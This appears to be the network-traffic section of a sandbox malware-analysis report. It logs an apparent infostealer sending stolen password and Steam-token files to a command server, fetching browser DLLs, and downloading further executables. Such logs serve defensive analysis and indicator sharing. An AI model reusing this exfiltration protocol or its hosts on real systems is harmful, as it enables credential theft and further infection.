Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----JDAKJDAAFBKFHIEBFCFBHost: urusvisa.comContent-Length: 7641Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /sql.dll HTTP/1.1Host: urusvisa.comConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----HIIEBAFCBKFIDGCAKKKFHost: urusvisa.comContent-Length: 4677Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----HJDHCFCBGIDGHJJKJJDGHost: urusvisa.comContent-Length: 1529Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----HJJEHJJKJEGHJJKEBFBGHost: urusvisa.comContent-Length: 437Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 48 4a 4a 45 48 4a 4a 4b 4a 45 47 48 4a 4a 4b 45 42 46 42 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 30 34 66 36 39 34 31 63 65 30 39 35 34 63 35 39 34 39 65 35 39 38 61 64 30 33 34 64 64 32 34 0d 0a 2d 2d 2d 2d 2d 2d 48 4a 4a 45 48 4a 4a 4b 4a 45 47 48 4a 4a 4b 45 42 46 42 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 31 32 64 39 36 32 61 30 62 34 31 37 36 61 30 63 31 39 63 34 65 36 31 63 35 33 62 64 32 30 62 35 0d 0a 2d 2d 2d 2d 2d 2d 48 4a 4a 45 48 4a 4a 4b 4a 45 47 48 4a 4a 4b 45 42 46 42 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 47 46 7a 63 33 64 76 63 6d 52 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 48 4a 4a 45 48 4a 4a 4b 4a 45 47 48 4a 4a 4b 45 42 46 42 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 64 61 74 61 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 48 4a 4a 45 48 4a 4a 4b 4a 45 47 48 4a 4a 4b 45 42 46 42 47 2d 2d 0d 0a Data Ascii: ------HJJEHJJKJEGHJJKEBFBGContent-Disposition: form-data; name="token"d04f6941ce0954c5949e598ad034dd24------HJJEHJJKJEGHJJKEBFBGContent-Disposition: form-data; name="build_id"12d962a0b4176a0c19c4e61c53bd20b5------HJJEHJJKJEGHJJKEBFBGContent-Disposition: form-data; name="file_name"cGFzc3dvcmRzLnR4dA==------HJJEHJJKJEGHJJKEBFBGContent-Disposition: form-data; name="file_data"------HJJEHJJKJEGHJJKEBFBG--
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----KJKEHIIJJECFHJKECFHDHost: urusvisa.comContent-Length: 437Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4b 4a 4b 45 48 49 49 4a 4a 45 43 46 48 4a 4b 45 43 46 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 30 34 66 36 39 34 31 63 65 30 39 35 34 63 35 39 34 39 65 35 39 38 61 64 30 33 34 64 64 32 34 0d 0a 2d 2d 2d 2d 2d 2d 4b 4a 4b 45 48 49 49 4a 4a 45 43 46 48 4a 4b 45 43 46 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 31 32 64 39 36 32 61 30 62 34 31 37 36 61 30 63 31 39 63 34 65 36 31 63 35 33 62 64 32 30 62 35 0d 0a 2d 2d 2d 2d 2d 2d 4b 4a 4b 45 48 49 49 4a 4a 45 43 46 48 4a 4b 45 43 46 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 47 46 7a 63 33 64 76 63 6d 52 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 4b 4a 4b 45 48 49 49 4a 4a 45 43 46 48 4a 4b 45 43 46 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 64 61 74 61 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 4b 4a 4b 45 48 49 49 4a 4a 45 43 46 48 4a 4b 45 43 46 48 44 2d 2d 0d 0a Data Ascii: ------KJKEHIIJJECFHJKECFHDContent-Disposition: form-data; name="token"d04f6941ce0954c5949e598ad034dd24------KJKEHIIJJECFHJKECFHDContent-Disposition: form-data; name="build_id"12d962a0b4176a0c19c4e61c53bd20b5------KJKEHIIJJECFHJKECFHDContent-Disposition: form-data; name="file_name"cGFzc3dvcmRzLnR4dA==------KJKEHIIJJECFHJKECFHDContent-Disposition: form-data; name="file_data"------KJKEHIIJJECFHJKECFHD--
Source: global traffic	HTTP traffic detected: GET /freebl3.dll HTTP/1.1Host: urusvisa.comConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /mozglue.dll HTTP/1.1Host: urusvisa.comConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /msvcp140.dll HTTP/1.1Host: urusvisa.comConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /softokn3.dll HTTP/1.1Host: urusvisa.comConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /vcruntime140.dll HTTP/1.1Host: urusvisa.comConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /nss3.dll HTTP/1.1Host: urusvisa.comConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----DGDBFBFCBFBKECAAKJKFHost: urusvisa.comContent-Length: 1145Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----BFCAAEHJDBKJJKFHJEBKHost: urusvisa.comContent-Length: 331Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 42 46 43 41 41 45 48 4a 44 42 4b 4a 4a 4b 46 48 4a 45 42 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 30 34 66 36 39 34 31 63 65 30 39 35 34 63 35 39 34 39 65 35 39 38 61 64 30 33 34 64 64 32 34 0d 0a 2d 2d 2d 2d 2d 2d 42 46 43 41 41 45 48 4a 44 42 4b 4a 4a 4b 46 48 4a 45 42 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 31 32 64 39 36 32 61 30 62 34 31 37 36 61 30 63 31 39 63 34 65 36 31 63 35 33 62 64 32 30 62 35 0d 0a 2d 2d 2d 2d 2d 2d 42 46 43 41 41 45 48 4a 44 42 4b 4a 4a 4b 46 48 4a 45 42 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 6f 64 65 22 0d 0a 0d 0a 33 0d 0a 2d 2d 2d 2d 2d 2d 42 46 43 41 41 45 48 4a 44 42 4b 4a 4a 4b 46 48 4a 45 42 4b 2d 2d 0d 0a Data Ascii: ------BFCAAEHJDBKJJKFHJEBKContent-Disposition: form-data; name="token"d04f6941ce0954c5949e598ad034dd24------BFCAAEHJDBKJJKFHJEBKContent-Disposition: form-data; name="build_id"12d962a0b4176a0c19c4e61c53bd20b5------BFCAAEHJDBKJJKFHJEBKContent-Disposition: form-data; name="mode"3------BFCAAEHJDBKJJKFHJEBK--
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----IDHIEBAAKJDHIECAAFHCHost: urusvisa.comContent-Length: 331Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 49 44 48 49 45 42 41 41 4b 4a 44 48 49 45 43 41 41 46 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 30 34 66 36 39 34 31 63 65 30 39 35 34 63 35 39 34 39 65 35 39 38 61 64 30 33 34 64 64 32 34 0d 0a 2d 2d 2d 2d 2d 2d 49 44 48 49 45 42 41 41 4b 4a 44 48 49 45 43 41 41 46 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 31 32 64 39 36 32 61 30 62 34 31 37 36 61 30 63 31 39 63 34 65 36 31 63 35 33 62 64 32 30 62 35 0d 0a 2d 2d 2d 2d 2d 2d 49 44 48 49 45 42 41 41 4b 4a 44 48 49 45 43 41 41 46 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 6f 64 65 22 0d 0a 0d 0a 34 0d 0a 2d 2d 2d 2d 2d 2d 49 44 48 49 45 42 41 41 4b 4a 44 48 49 45 43 41 41 46 48 43 2d 2d 0d 0a Data Ascii: ------IDHIEBAAKJDHIECAAFHCContent-Disposition: form-data; name="token"d04f6941ce0954c5949e598ad034dd24------IDHIEBAAKJDHIECAAFHCContent-Disposition: form-data; name="build_id"12d962a0b4176a0c19c4e61c53bd20b5------IDHIEBAAKJDHIECAAFHCContent-Disposition: form-data; name="mode"4------IDHIEBAAKJDHIECAAFHC--
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----AFHDGDGIIDGCFIDHDHDHHost: urusvisa.comContent-Length: 461Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 41 46 48 44 47 44 47 49 49 44 47 43 46 49 44 48 44 48 44 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 30 34 66 36 39 34 31 63 65 30 39 35 34 63 35 39 34 39 65 35 39 38 61 64 30 33 34 64 64 32 34 0d 0a 2d 2d 2d 2d 2d 2d 41 46 48 44 47 44 47 49 49 44 47 43 46 49 44 48 44 48 44 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 31 32 64 39 36 32 61 30 62 34 31 37 36 61 30 63 31 39 63 34 65 36 31 63 35 33 62 64 32 30 62 35 0d 0a 2d 2d 2d 2d 2d 2d 41 46 48 44 47 44 47 49 49 44 47 43 46 49 44 48 44 48 44 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 55 32 39 6d 64 46 78 54 64 47 56 68 62 56 78 7a 64 47 56 68 62 56 39 30 62 32 74 6c 62 6e 4d 75 64 48 68 30 0d 0a 2d 2d 2d 2d 2d 2d 41 46 48 44 47 44 47 49 49 44 47 43 46 49 44 48 44 48 44 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 64 61 74 61 22 0d 0a 0d 0a 6b 79 43 37 6c 67 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 41 46 48 44 47 44 47 49 49 44 47 43 46 49 44 48 44 48 44 48 2d 2d 0d 0a Data Ascii: ------AFHDGDGIIDGCFIDHDHDHContent-Disposition: form-data; name="token"d04f6941ce0954c5949e598ad034dd24------AFHDGDGIIDGCFIDHDHDHContent-Disposition: form-data; name="build_id"12d962a0b4176a0c19c4e61c53bd20b5------AFHDGDGIIDGCFIDHDHDHContent-Disposition: form-data; name="file_name"U29mdFxTdGVhbVxzdGVhbV90b2tlbnMudHh0------AFHDGDGIIDGCFIDHDHDHContent-Disposition: form-data; name="file_data"kyC7lg==------AFHDGDGIIDGCFIDHDHDH--
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----IJDGIIEBFCBAAAAKKEGHHost: urusvisa.comContent-Length: 129997Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----AAKKECFBGIIIEBGDGDAKHost: urusvisa.comContent-Length: 331Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 41 41 4b 4b 45 43 46 42 47 49 49 49 45 42 47 44 47 44 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 30 34 66 36 39 34 31 63 65 30 39 35 34 63 35 39 34 39 65 35 39 38 61 64 30 33 34 64 64 32 34 0d 0a 2d 2d 2d 2d 2d 2d 41 41 4b 4b 45 43 46 42 47 49 49 49 45 42 47 44 47 44 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 31 32 64 39 36 32 61 30 62 34 31 37 36 61 30 63 31 39 63 34 65 36 31 63 35 33 62 64 32 30 62 35 0d 0a 2d 2d 2d 2d 2d 2d 41 41 4b 4b 45 43 46 42 47 49 49 49 45 42 47 44 47 44 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 6f 64 65 22 0d 0a 0d 0a 35 0d 0a 2d 2d 2d 2d 2d 2d 41 41 4b 4b 45 43 46 42 47 49 49 49 45 42 47 44 47 44 41 4b 2d 2d 0d 0a Data Ascii: ------AAKKECFBGIIIEBGDGDAKContent-Disposition: form-data; name="token"d04f6941ce0954c5949e598ad034dd24------AAKKECFBGIIIEBGDGDAKContent-Disposition: form-data; name="build_id"12d962a0b4176a0c19c4e61c53bd20b5------AAKKECFBGIIIEBGDGDAKContent-Disposition: form-data; name="mode"5------AAKKECFBGIIIEBGDGDAK--
Source: global traffic	HTTP traffic detected: GET /ldms/66fa2b049020f_ldnf.exe HTTP/1.1Host: files.veritas.org.ngCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----IJKKKFCFHCFIECBGDHIDHost: urusvisa.comContent-Length: 499Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 49 4a 4b 4b 4b 46 43 46 48 43 46 49 45 43 42 47 44 48 49 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 30 34 66 36 39 34 31 63 65 30 39 35 34 63 35 39 34 39 65 35 39 38 61 64 30 33 34 64 64 32 34 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 4b 4b 4b 46 43 46 48 43 46 49 45 43 42 47 44 48 49 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 31 32 64 39 36 32 61 30 62 34 31 37 36 61 30 63 31 39 63 34 65 36 31 63 35 33 62 64 32 30 62 35 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 4b 4b 4b 46 43 46 48 43 46 49 45 43 42 47 44 48 49 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 6f 64 65 22 0d 0a 0d 0a 35 31 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 4b 4b 4b 46 43 46 48 43 46 49 45 43 42 47 44 48 49 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 61 73 6b 5f 69 64 22 0d 0a 0d 0a 31 32 35 32 39 36 31 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 4b 4b 4b 46 43 46 48 43 46 49 45 43 42 47 44 48 49 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 73 74 61 74 75 73 22 0d 0a 0d 0a 31 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 4b 4b 4b 46 43 46 48 43 46 49 45 43 42 47 44 48 49 44 2d 2d 0d 0a Data Ascii: ------IJKKKFCFHCFIECBGDHIDContent-Disposition: form-data; name="token"d04f6941ce0954c5949e598ad034dd24------IJKKKFCFHCFIECBGDHIDContent-Disposition: form-data; name="build_id"12d962a0b4176a0c19c4e61c53bd20b5------IJKKKFCFHCFIECBGDHIDContent-Disposition: form-data; name="mode"51------IJKKKFCFHCFIECBGDHIDContent-Disposition: form-data; name="task_id"1252961------IJKKKFCFHCFIECBGDHIDContent-Disposition: form-data; name="status"1------IJKKKFCFHCFIECBGDHID--
Source: global traffic	HTTP traffic detected: GET /ldms/66fa2afc5abea_vasd.exe HTTP/1.1Host: files.veritas.org.ngCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----CGDHIEGCFHCGDGCAECBGHost: urusvisa.comContent-Length: 499Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 43 47 44 48 49 45 47 43 46 48 43 47 44 47 43 41 45 43 42 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 30 34 66 36 39 34 31 63 65 30 39 35 34 63 35 39 34 39 65 35 39 38 61 64 30 33 34 64 64 32 34 0d 0a 2d 2d 2d 2d 2d 2d 43 47 44 48 49 45 47 43 46 48 43 47 44 47 43 41 45 43 42 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 31 32 64 39 36 32 61 30 62 34 31 37 36 61 30 63 31 39 63 34 65 36 31 63 35 33 62 64 32 30 62 35 0d 0a 2d 2d 2d 2d 2d 2d 43 47 44 48 49 45 47 43 46 48 43 47 44 47 43 41 45 43 42 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 6f 64 65 22 0d 0a 0d 0a 35 31 0d 0a 2d 2d 2d 2d 2d 2d 43 47 44 48 49 45 47 43 46 48 43 47 44 47 43 41 45 43 42 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 61 73 6b 5f 69 64 22 0d 0a 0d 0a 31 32 35 32 39 36 32 0d 0a 2d 2d 2d 2d 2d 2d 43 47 44 48 49 45 47 43 46 48 43 47 44 47 43 41 45 43 42 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 73 74 61 74 75 73 22 0d 0a 0d 0a 31 0d 0a 2d 2d 2d 2d 2d 2d 43 47 44 48 49 45 47 43 46 48 43 47 44 47 43 41 45 43 42 47 2d 2d 0d 0a Data Ascii: ------CGDHIEGCFHCGDGCAECBGContent-Disposition: form-data; name="token"d04f6941ce0954c5949e598ad034dd24------CGDHIEGCFHCGDGCAECBGContent-Disposition: form-data; name="build_id"12d962a0b4176a0c19c4e61c53bd20b5------CGDHIEGCFHCGDGCAECBGContent-Disposition: form-data; name="mode"51------CGDHIEGCFHCGDGCAECBGContent-Disposition: form-data; name="task_id"1252962------CGDHIEGCFHCGDGCAECBGContent-Disposition: form-data; name="status"1------CGDHIEGCFHCGDGCAECBG--
Source: global traffic	HTTP traffic detected: GET /ldms/66fa2ae906657_snd.exe HTTP/1.1Host: files.veritas.org.ngCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----HCAEGCBFHJDGCBFHDAFBHost: urusvisa.comContent-Length: 499Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 48 43 41 45 47 43 42 46 48 4a 44 47 43 42 46 48 44 41 46 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 30 34 66 36 39 34 31 63 65 30 39 35 34 63 35 39 34 39 65 35 39 38 61 64 30 33 34 64 64 32 34 0d 0a 2d 2d 2d 2d 2d 2d 48 43 41 45 47 43 42 46 48 4a 44 47 43 42 46 48 44 41 46 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 31 32 64 39 36 32 61 30 62 34 31 37 36 61 30 63 31 39 63 34 65 36 31 63 35 33 62 64 32 30 62 35 0d 0a 2d 2d 2d 2d 2d 2d 48 43 41 45 47 43 42 46 48 4a 44 47 43 42 46 48 44 41 46 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 6f 64 65 22 0d 0a 0d 0a 35 31 0d 0a 2d 2d 2d 2d 2d 2d 48 43 41 45 47 43 42 46 48 4a 44 47 43 42 46 48 44 41 46 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 61 73 6b 5f 69 64 22 0d 0a 0d 0a 31 32 35 32 39 36 33 0d 0a 2d 2d 2d 2d 2d 2d 48 43 41 45 47 43 42 46 48 4a 44 47 43 42 46 48 44 41 46 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 73 74 61 74 75 73 22 0d 0a 0d 0a 31 0d 0a 2d 2d 2d 2d 2d 2d 48 43 41 45 47 43 42 46 48 4a 44 47 43 42 46 48 44 41 46 42 2d 2d 0d 0a Data Ascii: ------HCAEGCBFHJDGCBFHDAFBContent-Disposition: form-data; name="token"d04f6941ce0954c5949e598ad034dd24------HCAEGCBFHJDGCBFHDAFBContent-Disposition: form-data; name="build_id"12d962a0b4176a0c19c4e61c53bd20b5------HCAEGCBFHJDGCBFHDAFBContent-Disposition: form-data; name="mode"51------HCAEGCBFHJDGCBFHDAFBContent-Disposition: form-data; name="task_id"1252963------HCAEGCBFHJDGCBFHDAFBContent-Disposition: form-data; name="status"1------HCAEGCBFHJDGCBFHDAFB--
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 46.8.231.109Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----JJJJEBGDAFHJEBGDGIJDHost: urusvisa.comContent-Length: 331Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4a 4a 4a 4a 45 42 47 44 41 46 48 4a 45 42 47 44 47 49 4a 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 30 34 66 36 39 34 31 63 65 30 39 35 34 63 35 39 34 39 65 35 39 38 61 64 30 33 34 64 64 32 34 0d 0a 2d 2d 2d 2d 2d 2d 4a 4a 4a 4a 45 42 47 44 41 46 48 4a 45 42 47 44 47 49 4a 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 31 32 64 39 36 32 61 30 62 34 31 37 36 61 30 63 31 39 63 34 65 36 31 63 35 33 62 64 32 30 62 35 0d 0a 2d 2d 2d 2d 2d 2d 4a 4a 4a 4a 45 42 47 44 41 46 48 4a 45 42 47 44 47 49 4a 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 6f 64 65 22 0d 0a 0d 0a 36 0d 0a 2d 2d 2d 2d 2d 2d 4a 4a 4a 4a 45 42 47 44 41 46 48 4a 45 42 47 44 47 49 4a 44 2d 2d 0d 0a Data Ascii: ------JJJJEBGDAFHJEBGDGIJDContent-Disposition: form-data; name="token"d04f6941ce0954c5949e598ad034dd24------JJJJEBGDAFHJEBGDGIJDContent-Disposition: form-data; name="build_id"12d962a0b4176a0c19c4e61c53bd20b5------JJJJEBGDAFHJEBGDGIJDContent-Disposition: form-data; name="mode"6------JJJJEBGDAFHJEBGDGIJD--
